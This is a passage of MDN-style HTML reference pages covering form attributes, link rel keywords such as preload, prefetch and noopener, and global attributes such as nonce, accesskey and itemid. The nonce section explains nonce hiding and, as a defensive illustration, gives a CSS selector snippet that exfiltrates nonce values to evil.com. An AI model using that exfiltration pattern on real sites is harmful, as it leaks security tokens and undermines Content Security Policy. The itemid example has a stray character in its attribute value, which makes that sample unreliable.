### html.elements.select.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.textarea.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `:disabled` and `:enabled`


HTML attribute: maxlength - HTML: HyperText Markup Language

HTML attribute: maxlength
=========================

The **`maxlength`** attribute defines the maximum string length that the user can enter into an `<input>` or `<textarea>`. The attribute must have an integer value of 0 or higher.

The length is measured in UTF-16 code units, which (for most scripts) is equivalent to the number of characters. If no `maxlength` is specified, or an invalid value is specified, the input has no maximum length.

Any `maxlength` value must be greater than or equal to the value of `minlength`, if present and valid. The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

### Constraint validation

While the browser will generally prevent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only `tooLong` property of a `ValidityState` object will be true.

Try it
------

Examples
--------

```html
<input type="password" maxlength="4" />
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-maxlength-and-minlength-attributes |

Browser compatibility
---------------------

### html.elements.input.maxlength

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.textarea.maxlength

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `minlength`
* `size`
* `pattern`
* Constraint validation
* Form validation
* `<input>`


HTML attribute: for - HTML: HyperText Markup Language

HTML attribute: for
===================

The **`for`** attribute is an allowed attribute for `<label>` and `<output>`. When used on a `<label>` element it indicates the form element that this label describes. When used on an `<output>` element it allows for an explicit relationship between the elements that represent values which are used in the output.

Try it
------

Usage
-----

When used as an attribute of `<label>`, the `for` attribute has a value which is the `id` of the form element it relates to.

```html
<label for="username">Your name</label> <input type="text" id="username" />
```

When used as an attribute of `<output>`, the `for` attribute has a value which is a space separated list of the `id` values of the elements which are used to create the output.

```html
<input type="range" id="b" name="b" value="50" /> +
<input type="number" id="a" name="a" value="10" /> =
<output name="result" for="a b">60</output>
```

Examples
--------

See examples of usage on the element pages for `<label>` and `<output>`.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-label-for |
| HTML Standard # attr-output-for |

Browser compatibility
---------------------

### html.elements.label.for

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.output.for

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


rel=prerender - HTML: HyperText Markup Language

rel=prerender
=============

**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The **`prerender`** keyword for the `rel` attribute of the `<link>` element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen.

This feature is superceded by the Speculation Rules API.

Specifications
--------------

#### No specification found

No specification data found for `html.elements.link.rel.prerender`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="prerender">` and other similar performance improvement features.


rel=preload - HTML: HyperText Markup Language

rel=preload
===========

 The `preload` value of the `<link>` element's `rel` attribute lets you declare fetch requests in the
 HTML's `<head>`, specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle,
 before browsers' main rendering machinery kicks in. This ensures they are available earlier and are less likely to block the page's render, improving performance. Even though the name contains the term *load*, it doesn't load and execute the script but only schedules it to be downloaded and cached with a higher priority.

The basics
----------

You most commonly use `<link>` to load a CSS file to style your page with:

```html
<link rel="stylesheet" href="styles/main.css" />
```

Here however, we will use a `rel` value of `preload`, which turns `<link>` into a preloader for any resource we want. You will also need to specify:

* The path to the resource in the `href` attribute.
* The type of resource in the `as` attribute.

A simple example might look like this (see our JS and CSS example source, and also live):

```html
<head>
  <meta charset="utf-8" />
  <title>JS and CSS preload example</title>

  <link rel="preload" href="style.css" as="style" />
  <link rel="preload" href="main.js" as="script" />

  <link rel="stylesheet" href="style.css" />
</head>

<body>
  <h1>bouncing balls</h1>
  <canvas></canvas>

  <script src="main.js" defer></script>
</body>
```

Here we preload our CSS and JavaScript files so they will be available as soon as they are required for the rendering of the page later on. This example is trivial, as the browser probably discovers the `<link rel="stylesheet">` and `<script>` elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example:

* Resources that are pointed to from inside CSS, like fonts or images.
* Resources that JavaScript can request, like JSON, imported scripts, or web workers.
* Larger images and video files.

`preload` has other advantages too. Using `as` to specify the type of content to be preloaded allows the browser to:

* Prioritize resource loading more accurately.
* Store in the cache for future requests, reusing the resource if appropriate.
* Apply the correct content security policy to the resource.
* Set the correct `Accept` request headers for it.
### What types of content can be preloaded?

Many content types can be preloaded. The possible `as` attribute values are:

* `audio`: Audio file, as typically used in `<audio>`.
* `document`: An HTML document intended to be embedded by a `<frame>` or `<iframe>`.
* `embed`: A resource to be embedded inside an `<embed>` element.
* `fetch`: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer, WebAssembly binary, or JSON file.
* `font`: Font file.
* `image`: Image file.
* `object`: A resource to be embedded inside an `<object>` element.
* `script`: JavaScript file.
* `style`: CSS stylesheet.
* `track`: WebVTT file.
* `worker`: A JavaScript web worker or shared worker.
* `video`: Video file, as typically used in `<video>`.

**Note:** `font` and `fetch` preloading requires the `crossorigin` attribute to be set; see CORS-enabled fetches below.

**Note:** There's more detail about these values and the web features they expect to be consumed by in the Preload spec — see link element extensions. Also note that the full list of values the `as` attribute can take is governed by the Fetch spec — see request destinations.

Including a MIME type
---------------------

`<link>` elements can accept a `type` attribute, which contains the MIME type of the resource the element points to. This is especially useful when preloading resources — the browser will use the `type` attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not.

You can see an example of this in our video example (see the full source code, and also the live version), a code snippet from which is shown below. This illustrates the core behavior behind preloading in general.

```html
<head>
  <meta charset="utf-8" />
  <title>Video preload example</title>

  <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4" />
</head>
<body>
  <video controls>
    <source src="sintel-short.mp4" type="video/mp4" />
    <source src="sintel-short.webm" type="video/webm" />
    <p>
      Your browser doesn't support HTML video. Here is a
      <a href="sintel-short.mp4">link to the video</a> instead.
    </p>
  </video>
</body>
```

The code in the example above causes the `video/mp4` video to be preloaded only in supporting browsers — and for users who have `video/mp4` support in their browsers, causes the `video/mp4` video to actually be used (since it's the first `<source>` specified). That makes the video player hopefully smoother/more responsive for users who have `video/mp4` support in their browsers.

Note that for users whose browsers have both `video/mp4` and `video/webm` support, if in that code a `<link rel="preload" href="sintel-short.webm" as="video" type="video/webm">` element were also specified, then *both* the `video/mp4` and `video/webm` videos would be preloaded — even though only one of them would actually be used.

Therefore, specifying preloading for multiple types of the same resource is discouraged. Instead, the best practice is to specify preloading only for the type the majority of your users are likely to actually use. That's why the code in the example above doesn't specify preloading for the `video/webm` video.

However, the lack of preloading doesn't prevent the `video/webm` video from actually being used by those who need it: for users whose browsers don't have `video/mp4` support but do have `video/webm` support, the code in the example above does still cause the `video/webm` video to be used — but it does so without also causing it to also be preloaded unnecessarily for the majority of other users.

CORS-enabled fetches
--------------------

When preloading resources that are fetched with CORS enabled (e.g. `fetch()`, `XMLHttpRequest` or fonts), special care needs to be taken to setting the `crossorigin` attribute on your `<link>` element. The attribute needs to be set to match the resource's CORS and credentials mode, even when the fetch is not cross-origin.

As mentioned above, one interesting case where this applies is font files. Because of various reasons, these have to be fetched using anonymous-mode CORS (see Font fetching requirements).

Let's use this case as an example. You can see the full example source code on GitHub (also see it live):

```html
<head>
  <meta charset="utf-8" />
  <title>Web font example</title>

  <link
 rel="preload"
 href="fonts/cicle\_fina-webfont.woff2"
 as="font"
 type="font/woff2"
 crossorigin />
  <link
 rel="preload"
 href="fonts/zantroke-webfont.woff2"
 as="font"
 type="font/woff2"
 crossorigin />

  <link href="style.css" rel="stylesheet" />
</head>
<body>
  …
</body>
```

Not only are we providing the MIME type hints in the `type` attributes, but we are also providing the `crossorigin` attribute to make sure the preload's CORS mode matches the eventual font resource request.

Including media
---------------

One nice feature of `<link>` elements is their ability to accept `media` attributes. These can accept media types or full-blown media queries, allowing you to do responsive preloading!

Let's look at an example (see it on GitHub — source code, live example):

```html
<head>
  <meta charset="utf-8" />
  <title>Responsive preload example</title>

  <link
 rel="preload"
 href="bg-image-narrow.png"
 as="image"
 media="(max-width: 600px)" />
  <link
 rel="preload"
 href="bg-image-wide.png"
 as="image"
 media="(min-width: 601px)" />

  <link rel="stylesheet" href="main.css" />
</head>
<body>
  <header>
    <h1>My site</h1>
  </header>

  <script>
 const mediaQueryList = window.matchMedia("(max-width: 600px)");
 const header = document.querySelector("header");

 if (mediaQueryList.matches) {
 header.style.backgroundImage = "url(bg-image-narrow.png)";
 } else {
 header.style.backgroundImage = "url(bg-image-wide.png)";
 }
 </script>
</body>
```

We include `media` attributes on our `<link>` elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport. We use `Window.matchMedia` / `MediaQueryList` to do this (see Testing media queries for more).

This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text).

This doesn't have to be limited to images, or even files of the same type — think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful.

Scripting and preloads
----------------------

**Note:** Use `<link rel="modulepreload">` instead if you are working with JavaScript modules.

 Another nice thing about these preloads is that you can execute them with script.
 For example, here we create a `HTMLLinkElement` instance, then attach it to the DOM:

```js
const preloadLink = document.createElement("link");
preloadLink.href = "myscript.js";
preloadLink.rel = "preload";
preloadLink.as = "script";
document.head.appendChild(preloadLink);
```

This means that the browser will preload the `myscript.js` file, but not actually use it yet. To use it, you could do this:

```js
const preloadedScript = document.createElement("script");
preloadedScript.src = "myscript.js";
document.body.appendChild(preloadedScript);
```

This is useful when you want to preload a script, but then defer execution until exactly when you need it.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-preload |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="preload">` and other similar performance improvement features.
* Preload: What Is It Good For? by Yoav Weiss


rel=noopener - HTML: HyperText Markup Language

rel=noopener
============

The **`noopener`** keyword for the `rel` attribute of the `<a>`, `<area>`, and `<form>` elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the `Window.opener` property on the opened window (it returns `null`).

This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the `Window.opener` property (see About rel=noopener for more details), while still providing the `Referer` HTTP header (unless `noreferrer` is used as well).

Note that when `noopener` is used, nonempty target names other than `_top`, `_self`, and `_parent` are all treated like `_blank` in terms of deciding whether to open a new window/tab.

**Note:** Setting `target="_blank"` on `<a>` elements now implicitly provides the same `rel` behavior as setting `rel="noopener"` which does not set `window.opener`. See browser compatibility for support status.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-noopener |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


rel=noreferrer - HTML: HyperText Markup Language

rel=noreferrer
==============

The **`noreferrer`** keyword for the `rel` attribute of the `<a>`, `<area>`, and `<form>` elements instructs the browser, when navigating to the target resource, to omit the `Referer` header and otherwise leak no referrer information — and additionally to behave as if the `noopener` keyword were also specified.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-noreferrer |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


rel=prefetch - HTML: HyperText Markup Language

rel=prefetch
============

The **`prefetch`** keyword for the `rel` attribute of the `<link>` element provides a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource. `<link rel="prefetch">` is used for same-site navigation resources, or for subresources used by same-site pages.

The result is kept in the HTTP cache on disk. Because of this it is useful for prefetching subresources, even if they are not used by the current page. You could also use it to prefetch the next document the user will likely visit on the site. However, as a result you need to be careful with headers — for example certain Cache-Control headers could block prefetching (for example `no-cache` or `no-store`).

**Note:** Because of such limitations, you are advised to use the Speculation Rules API for document prefetches instead, where it is supported.

`<link rel="prefetch">` is functionally equivalent to a `fetch()` call with a `priority: "low"` option set on it, except that the former will generally have an even lower priority, and it will have a `Sec-Purpose: prefetch` header set on the request. Note that in general browsers will give prefetch resources a lower priority than preload ones (e.g. requested via `<link rel="preload">`) — the current page is more important than the next.

 The fetch request for a `prefetch` operation results in an HTTP request that includes the HTTP header `Sec-Purpose: prefetch`. A server might use this header to change the cache timeouts for the resources, or perform other special handling.
 The request will also include the `Sec-Fetch-Dest` header with the value set to `empty`.

The `Accept` header in the request will match the value used for normal navigation requests. This allows the browser to find the matching cached resources following navigation.

Examples
--------

### Basic prefetch

```js
<link rel="prefetch" href="main.js" />
```

### Navigation and subresource prefetches

Prefetching can be used to fetch both HTML and sub-resources for a possible next navigation. A common use case is to have a simple website landing page that fetches more "heavy-weight" resources used by the rest of the site.

```html
<link rel="prefetch" href="/app/style.css" />
<link rel="prefetch" href="/landing-page" />
```

### The effects of cache partitioning

Many browsers now implement some form of cache partitioning, which makes `<link rel="prefetch">` useless for resources intended for use by different top-level sites. This includes the main document when navigating cross-site. So, for example, the following prefetch:

```html
<link rel="prefetch" href="https://news.example/article" />
```

Would not be accessible from `https://aggregator.example/`.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-prefetch |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="prefetch">` and other similar performance improvement features.


rel=modulepreload - HTML: HyperText Markup Language

rel=modulepreload
=================

The **`modulepreload`** keyword, for the `rel` attribute of the `<link>` element, provides a declarative way to preemptively fetch a module script, parse and compile it, and store it in the document's module map for later execution.

 Preloading allows modules and their dependencies to be downloaded early, and can also significantly reduce the overall download and processing time.
 This is because it allows pages to fetch modules in parallel, instead of sequentially as each module is processed and its dependencies are discovered.
 Note however that you can't just preload everything!
 What you choose to preload must be balanced against other operations that might then be starved, adversely affecting user experience.

 Links with `rel="modulepreload"` are similar to those with `rel="preload"`.
 The main difference is that `preload` just downloads the file and stores it in the cache, while `modulepreload` gets the module, parses and compiles it, and puts the results into the module map so that it is ready to execute.

 When using `modulepreload` the fetch request mode is always `cors`, and the `crossorigin` property is used to determine the request credential mode.
 If `crossorigin` is set to `anonymous` or `""` (default), then the credentials mode is `same-origin`, and user credentials such as cookies and authentication are only sent for requests with the `same-origin`.
 If `crossorigin` is set to `use-credentials` then the credentials mode is `include`, and user credentials for both single- and cross-origin requests.

 The `as` attribute is optional for links with `rel="modulepreload"`, and defaults to `"script"`.
 It can be set to `"script"` or any script-like destination, such as `"audioworklet"`, `"paintworklet"`, `"serviceworker"`, `"sharedworker"`, or `"worker"`.
 An `Event` named "error" is fired on the element if any other destination is used.

 A browser *may* additionally also choose to automatically fetch any dependencies of the module resource.
 Note however that this is a browser-specific optimization — the only approach to ensure that all browsers will try to preload a module's dependencies is to individually specify them!
 Further, the events named `load` or `error` fire immediately following success or failure of loading the *specified* resources.
 If dependencies are automatically fetched, no additional events are fired in the main thread (although you might monitor additional requests in a service worker or on the server).

Examples
--------

Consider the basic-modules example (live version), introduced in the JavaScript modules guide.

This has a file structure as shown below, consisting of the top level module `main.js`, which statically imports two dependency modules `modules/canvas.js` and `modules/square.js` using the `import` statement.
```

index.html
main.js
modules/
    canvas.js
    square.js
```

 The HTML for the example below shows how `main.js` is fetched in a `<script>` element.
 Only after `main.js` has loaded does the browser discover and fetch the two dependency modules.

```html
<!doctype html>
<html lang="en-US">
  <head>
    <meta charset="utf-8" />
    <title>Basic JavaScript module example</title>
    <style>
 canvas {
 border: 1px solid black;
 }
 </style>
    <script type="module" src="main.js"></script>
  </head>
  <body></body>
</html>
```

 The HTML below updates the example to use `<link>` elements with `rel="modulepreload"` for the main file and each of the dependency modules.
 This is much faster because the three modules all start downloading asynchronously and in parallel before they are needed.
 By the time `main.js` has been parsed and its dependencies are known, they have already been fetched and downloaded.

```html
<!doctype html>
<html lang="en-US">
  <head>
    <meta charset="utf-8" />
    <title>Basic JavaScript module example</title>
    <link rel="modulepreload" href="main.js" />
    <link rel="modulepreload" href="modules/canvas.js" />
    <link rel="modulepreload" href="modules/square.js" />
    <style>
 canvas {
 border: 1px solid black;
 }
 </style>

    <script type="module" src="main.js"></script>
  </head>
  <body></body>
</html>
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-modulepreload |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="modulepreload">` and other similar performance improvement features.
* Preloading modules (developer.chrome.com)


rel=preconnect - HTML: HyperText Markup Language

rel=preconnect
==============

The **`preconnect`** keyword for the `rel` attribute of the `<link>` element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin. Preconnecting speeds up future loads from a given origin by preemptively performing part or all of the handshake (DNS+TCP for HTTP, and DNS+TCP+TLS for HTTPS origins).

`<link rel="preconnect">` will provide a benefit to any future cross-origin HTTP request, navigation or subresource. It has no benefit on same-origin requests because the connection is already open.

If a page needs to make connections to many third-party domains, preconnecting them all can be counterproductive. The `<link rel="preconnect">` hint is best used for only the most critical connections. For the others, just use `<link rel="dns-prefetch">` to save time on the first step — the DNS lookup.

Examples
--------

```html
<link rel="preconnect" href="https://example.com" />
```

You can also implement preconnect as an HTTP Link header, for example:

```http
Link: <https://example.com>; rel="preconnect"
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-preconnect |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="preconnect">` and other similar performance improvement features.


rel=dns-prefetch - HTML: HyperText Markup Language

rel=dns-prefetch
================

The **`dns-prefetch`** keyword for the `rel` attribute of the `<link>` element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing DNS resolution for that origin.

See Using dns-prefetch for more details.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-dns-prefetch |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="dns-prefetch">` and other similar performance improvement features.


rel=manifest - HTML: HyperText Markup Language

rel=manifest
============

**Experimental:** **This is an experimental technology**
Check the Browser compatibility table carefully before using this in production.

The **`manifest`** keyword for the `rel` attribute of the `<link>` element indicates that the target resource is a Web app manifest.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-manifest |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


rel=me - HTML: HyperText Markup Language

rel=me
======

The **`me`** keyword for the `rel` attribute of the `<link>` and `<a>` elements indicates that the current resource is represented by the linked party. The `me` value was introduced in the XHTML Friends Network (XFN) specification.

```html
<link rel="me" value="example.com" />
```

The `rel="me"` attribute is used in RelMeAuth and Web sign in specifications as a way to enable a person to identify themselves to a web service using their domain name or a particular URL.

Specifications
--------------

#### No specification found

No specification data found for `html.elements.link.rel.me`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


autofocus - HTML: HyperText Markup Language

autofocus
=========

The **`autofocus`** global attribute is a Boolean attribute indicating that an element should be focused on page load, or when the `<dialog>` that it is part of is displayed.

```html
<input name="q" autofocus />
```

No more than one element in the document or dialog may have the autofocus attribute. If applied to multiple elements the first one will receive focus.

**Note:** The `autofocus` attribute applies to all elements, not just form controls. For example, it might be used on a contenteditable area.

Accessibility concerns
----------------------

Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When `autofocus` is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.

Use careful consideration for accessibility when applying the `autofocus` attribute. Automatically focusing on a control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-fe-autofocus |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


contextmenu - HTML: HyperText Markup Language

contextmenu
===========

**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The **`contextmenu`** global attribute is the **id** of a `<menu>` to use as the contextual menu for this element.

A *context menu* is a menu that appears upon user interaction, such as a right-click. HTML now allows us to customize this menu. Here are some implementation examples, including nested menus.

Example
-------

### HTML

```html
<body contextmenu="share">
  <menu type="context" id="share">
    <menu label="share">
      <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem>
      <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem>
    </menu>
  </menu>
  <ol>
    <li>
      Anywhere in the example you can share the page on Twitter and Facebook
      using the Share menu from your context menu.
    </li>
    <li contextmenu="changeFont" id="fontSizing">
      On this specific list element, you can change the size of the text by
      using the "Increase/Decrease font" actions from your context menu
    </li>
    <menu type="context" id="changeFont">
      <menuitem label="Increase Font" onclick="incFont()"></menuitem>
      <menuitem label="Decrease Font" onclick="decFont()"></menuitem>
    </menu>
    <li contextmenu="ChangeImage" id="changeImage">
      On the image below, you can fire the "Change Image" action in your Context
      Menu.<br />
      <img
 src="promobutton\_mdn5.png"
 contextmenu="ChangeImage"
 id="promoButton"
 alt="Better CSS Docs for a better web" />
      <menu type="context" id="ChangeImage">
        <menuitem label="Change Image" onclick="changeImage()"></menuitem>
      </menu>
    </li>
  </ol>
</body>
```

### JavaScript

```js
function shareViaTwitter() {
  window.open(
    "https://twitter.com/intent/tweet?text=" +
      "Hurray! I am learning ContextMenu from MDN via Mozilla",
  );
}

function shareViaFacebook() {
  window.open(
    "https://facebook.com/sharer/sharer.php?u=" +
      "https://developer.mozilla.org/en/HTML/Element/Using\_HTML\_context\_menus",
  );
}

function incFont() {
  document.getElementById("fontSizing").style.fontSize = "larger";
}

function decFont() {
  document.getElementById("fontSizing").style.fontSize = "smaller";
}

function changeImage() {
  const index = Math.ceil(Math.random() \* 39 + 1);
  document.images[0].src = `${index}.png`;
}
```

### Result

Specifications
--------------

The contextmenu attribute is obsolete and will be removed from all browsers.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes


nonce - HTML: HyperText Markup Language

nonce
=====

 The **`nonce`** global attribute
 is a content attribute defining a cryptographic nonce ("number used once") which can be used by
 Content Security Policy to determine whether or not a given fetch will
 be allowed to proceed for a given element.

Description
-----------

 The `nonce` attribute is useful to allowlist specific elements, such as a particular inline script or style elements.
 It can help you to avoid using the CSP `unsafe-inline` directive, which would allowlist *all* inline scripts or styles.

**Note:** Only use `nonce` for cases where you have no way around using unsafe inline script
 or style contents. If you don't need `nonce`, don't use it. If your script is static, you could also use a CSP hash instead.
 (See usage notes on unsafe inline script.)
 Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.

### Using nonce to allowlist a <script> element

There are a few steps involved to allowlist an inline script using the nonce mechanism:

#### Generating values

 From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure
 random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:

```js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
```

#### Allowlisting inline script

The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:

```html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
 // …
</script>
```

#### Sending a nonce with a CSP header

 Finally, you'll need to send the nonce value in a
 `Content-Security-Policy` header
 (prepend `nonce-`):

```http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
```

### Accessing nonces and nonce hiding

For security reasons, the `nonce` content attribute is hidden (an empty string will be returned).

```js
script.getAttribute("nonce"); // returns empty string
```

The `nonce` property is the only way to access nonces:

```js
script.nonce; // returns nonce value
```

 Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data
 from content attributes like this:

```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-nonce |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.nonce`
* Content Security Policy
* CSP: `script-src`


accesskey - HTML: HyperText Markup Language

accesskey
=========

The **`accesskey`** global attribute provides a hint for generating a keyboard shortcut for the current element. The attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard).

Try it
------

**Note:** In the WHATWG spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. However, this does not work in most browsers. IE/Edge uses the first one it supports without problems, provided there are no conflicts with other commands.

The way to activate the accesskey depends on the browser and its platform:

|  | Windows | Linux | Mac |
| --- | --- | --- | --- |
| Firefox | `Alt` + `Shift` + `*key*` | * Firefox 57+: `Control` + `Option` +
 `*key*` or `Control` + `Alt` +
 `*key*`
* Firefox 14-56: `Control` + `Alt` +
 `*key*`
* Firefox 13 or older: `Control` +
 `*key*`
 |
| Edge | `Alt` + `*key*` | `Control` + `Option` + `*key*`or `Control` + `Option` + `Shift` +
 `*key*` | n/a |
| Google Chrome | `Control` + `Option` + `*key*` |
| Safari | n/a | `Control` + `Option` + `*key*` |
| Opera 15+ | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |
| Opera 12 | `Shift` + `Esc` opens a list of available accesskeys. Choose an item from the list by pressing
 the `*key*`.
  |

Accessibility concerns
----------------------

In addition to poor browser support, there are numerous concerns with the `accesskey` attribute:

* An `accesskey` value can conflict with a system or browser keyboard shortcut, or assistive technology functionality. What may work for one combination of operating system, assistive technology, and browser may not work with other combinations.
* Certain `accesskey` values may not be present on certain keyboards, especially when internationalization is a concern. So adapting to specific languages could cause further problems.
* `accesskey` values that rely on numbers may be confusing to individuals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers.
* Informing the user that `accesskey`s are present, so that they are aware of the functionality. If the system lacks a method of notifying the user about this feature, the user might accidentally activate `accesskey`s.

Because of these issues, it is generally advised not to use `accesskey`s for most general-purpose websites and web apps.

* WebAIM: Keyboard Accessibility - Accesskey
Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-accesskey-attribute |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.accessKey`
* `HTMLElement.accessKeyLabel`
* All global attributes.
* `aria-keyshortcuts`


itemid - HTML: HyperText Markup Language

itemid
======

The **`itemid`** global attribute provides microdata in the form of a unique, global identifier of an item.

An `itemid` attribute can only be specified for an element that has both `itemscope` and `itemtype` attributes. Also, `itemid` can only be specified on elements that possess an `itemscope` attribute whose corresponding `itemtype` refers to or defines a vocabulary that supports global identifiers.

The exact meaning of an `itemtype`'s global identifier is provided by the definition of that identifier within the specified vocabulary. The vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled.

**Note:** The WHATWG definition specifies that an `itemid` must be a URL. However, the following example correctly illustrates that a URN may also be used. This inconsistency may reflect the incomplete nature of the Microdata specification.

Examples
--------

### Representing structured data for a book

This example uses microdata attributes to represent the following structured data:

|  |  |  |
| --- | --- | --- |
| itemscope | itemtype: itemid | https://schema.org/Book: urn:isbn:0-374-22848-5 |
| itemprop | title | Owls of the Eastern Ice |
| itemprop | author | Jonathan C Slaght |
| itemprop | datePublished | 2020-08-04 |

#### HTML

```html
<dl
 itemscope
 itemtype="https://schema.org/Book"
 itemid="urn:isbn:0-374-22848-5<">
  <dt>Title</dt>
  <dd itemprop="title">Owls of the Eastern Ice</dd>
  <dt>Author</dt>
  <dd itemprop="author">Jonathan C Slaght</dd>
  <dt>Publication date</dt>
  <dd>
    <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time>
  </dd>
</dl>
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-itemid |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.
* Other microdata related global attributes:
    + `itemprop`
    + `itemref`
    + `itemscope`
    + `itemtype`


translate - HTML: HyperText Markup Language

translate
=========

The **`translate`** global attribute is an enumerated attribute that is used to specify whether an element's *translatable attribute* values and its `Text` node children should be translated when the page is localized, or whether to leave them unchanged.

It can have the following values:

* empty string or `yes`, which indicates that the element should be translated when the page is localized.
* `no`, which indicates that the element must not be translated.

Although not all browsers recognize this attribute, it is respected by automatic translation systems such as Google Translate, and may also be respected by tools used by human translators. As such it's important that web authors use this attribute to mark content that should not be translated.

Examples
--------

